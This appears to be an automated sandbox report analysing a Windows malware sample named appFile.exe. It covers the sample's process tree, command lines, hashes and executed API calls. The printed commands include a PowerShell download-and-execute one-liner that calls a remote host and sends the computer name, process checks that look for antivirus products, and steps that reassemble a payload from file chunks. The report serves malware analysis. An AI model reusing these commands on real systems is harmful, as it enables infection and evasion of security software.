2024-12-27 09:21:51 UTC	1369	IN	Data Raw: 28 9c 4a 00 0a 52 65 61 6c 6c 6f 63 4d 65 6d 03 00 08 32 40 00 08 00 03 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 08 32 40 00 01 00 06 4f 6c 64 50 74 72 02 00 00 54 11 40 00 02 00 07 4e 65 77 53 69 7a 65 02 00 02 00 34 00 28 9c 4a 00 07 46 72 65 65 4d 65 6d 03 00 00 00 00 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 08 32 40 00 01 00 03 50 74 72 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 cc 4b 40 00 01 00 03 53 72 63 02 00 00 9c 10 40 00 02 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 Data Ascii: (JReallocMem2@Self2@OldPtrT@NewSize4(JFreeMemSelf2@Ptrb(JCopySelfK@Src@StartIndex2@Dest@Countb(JCopySelf
2024-12-27 09:21:51 UTC	1369	IN	Data Raw: 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 08 32 40 00 01 00 03 53 72 63 02 00 01 28 4d 40 00 02 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 60 4d 40 00 01 00 03 53 72 63 02 00 00 9c 10 40 00 02 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 Data Ascii: 2@Dest@Countb(JCopySelf2@Src(M@Dest@StartIndex@Countb(JCopySelf`M@Src@StartIndex2@Dest@Countb(JCopyS

Target ID:	0
Start time:	04:21:02
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\appFile.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\appFile.exe"
Imagebase:	0x400000
File size:	37'872'978 bytes
MD5 hash:	7C498ECA1B725E8A85FEF298184CCBB9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:21:03
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move Shore Shore.cmd & Shore.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:21:03
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:21:05
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x70000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:21:05
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "opssvc wrsa"
Imagebase:	0x6a0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:21:06
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x70000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:21:06
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0x6a0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:21:06
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 723356
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:21:06
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\extrac32.exe
Wow64 process (32bit):	true
Commandline:	extrac32 /Y /E Guitar
Imagebase:	0xb70000
File size:	29'184 bytes
MD5 hash:	9472AAB6390E4F1431BAA912FCFF9707
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:21:07
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "Principle" Portions
Imagebase:	0x6a0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	04:21:07
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Requirements + ..\Ul + ..\Pupils + ..\Vista + ..\Sound + ..\Shelf F
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	04:21:07
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\723356\Ted.com
Wow64 process (32bit):	true
Commandline:	Ted.com F
Imagebase:	0x630000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	04:21:08
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0xcf0000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	04:21:48
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;
Imagebase:	0x7ff70f330000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	04:21:48
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	04:22:10
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe"
Imagebase:	0xc60000
File size:	12'178'693 bytes
MD5 hash:	1EBAB72F39900F4DB9D82A4850B32ABD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 13%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	04:22:11
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp" /SL5="$4041A,11205210,845824,C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe"
Imagebase:	0xc00000
File size:	3'367'424 bytes
MD5 hash:	A62041070E18901131CBBE7825EC4EC7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	04:22:12
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe" /VERYSILENT
Imagebase:	0xc60000
File size:	12'178'693 bytes
MD5 hash:	1EBAB72F39900F4DB9D82A4850B32ABD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	04:22:13
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp" /SL5="$5041A,11205210,845824,C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe" /VERYSILENT
Imagebase:	0xbf0000
File size:	3'367'424 bytes
MD5 hash:	A62041070E18901131CBBE7825EC4EC7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	04:22:47
Start date:	27/12/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	"timeout" 9
Imagebase:	0x7ff74fa00000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	04:22:47
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	04:22:56
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Imagebase:	0x7ff7d8b00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	04:22:56
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	04:22:56
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Imagebase:	0x7ff649280000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	04:22:56
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "wrsa.exe"
Imagebase:	0x7ff6b8ea0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	04:22:56
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Imagebase:	0x7ff7d8b00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	04:22:56
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	04:22:56
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Imagebase:	0x7ff649280000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	04:22:56
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "opssvc.exe"
Imagebase:	0x7ff6b8ea0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	04:22:56
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Imagebase:	0x7ff7d8b00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	04:22:56
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	04:22:56
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Imagebase:	0x7ff649280000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	04:22:56
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avastui.exe"
Imagebase:	0x7ff6b8ea0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	04:22:56
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Imagebase:	0x7ff7d8b00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	04:22:56
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	04:22:57
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Imagebase:	0x7ff649280000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	04:22:57
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avgui.exe"
Imagebase:	0x7ff6b8ea0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	04:22:57
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Imagebase:	0x7ff7d8b00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	04:22:57
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	04:22:57
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Imagebase:	0x7ff649280000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	04:22:57
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "nswscsvc.exe"
Imagebase:	0x7ff6b8ea0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	04:22:57
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Imagebase:	0x7ff7d8b00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	04:22:57
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	04:22:57
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Imagebase:	0x7ff649280000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	04:22:57
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "sophoshealth.exe"
Imagebase:	0x7ff6b8ea0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	04:23:02
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe"
Imagebase:	0x820000
File size:	1'063'239'551 bytes
MD5 hash:	C12ED31F29EF510393AE36661F44F102
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	17.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	21%
Total number of Nodes:	1482
Total number of Limit Nodes:	28

Executed Functions

Function 004050F9 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040515B
GetDlgItem.USER32(?,000003EE), ref: 0040516A
GetClientRect.USER32(?,?), ref: 004051C2
GetSystemMetrics.USER32(00000015), ref: 004051CA
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051EB
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051FC
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 0040520F
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040521D
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405230
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405252
ShowWindow.USER32(?,00000008), ref: 00405266
GetDlgItem.USER32(?,000003EC), ref: 00405287
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405297
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004052AC
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004052B8
GetDlgItem.USER32(?,000003F8), ref: 00405179

Part of subcall function 00403DC4: SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00425976,74DF23A0,00000000), ref: 00406902

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

GetDlgItem.USER32(?,000003EC), ref: 004052D7
CreateThread.KERNELBASE(00000000,00000000,Function_00005073,00000000), ref: 004052E5
CloseHandle.KERNELBASE(00000000), ref: 004052EC
ShowWindow.USER32(00000000), ref: 00405313
ShowWindow.USER32(?,00000008), ref: 00405318
ShowWindow.USER32(00000008), ref: 0040535F
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405391
CreatePopupMenu.USER32 ref: 004053A2
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004053B7
GetWindowRect.USER32(?,?), ref: 004053CA
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053EC
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405427
OpenClipboard.USER32(00000000), ref: 00405437
EmptyClipboard.USER32 ref: 0040543D
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 00405449
GlobalLock.KERNEL32(00000000), ref: 00405453
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405467
GlobalUnlock.KERNEL32(00000000), ref: 00405489
SetClipboardData.USER32(0000000D,00000000), ref: 00405494
CloseClipboard.USER32 ref: 0040549A

Strings

New install of "%s" to "%s", xrefs: 004051AE
{, xrefs: 0040537E

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: New install of "%s" to "%s"${
API String ID: 2110491804-1641061399
Opcode ID: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
Instruction ID: db3ff0878cedf1d1b3e6f9985675ba3e3c8e3ad145c0decdf5c07b0ce3ef5d1a
Opcode Fuzzy Hash: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
Instruction Fuzzy Hash: 46B15970900609BFEB11AFA1DD89EAE7B79FB04354F00803AFA05BA1A1C7755E81DF58

Function 004038AF Relevance: 52.8, APIs: 22, Strings: 8, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038CE
SetErrorMode.KERNELBASE(00008001), ref: 004038D9
OleInitialize.OLE32(00000000), ref: 004038E0

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
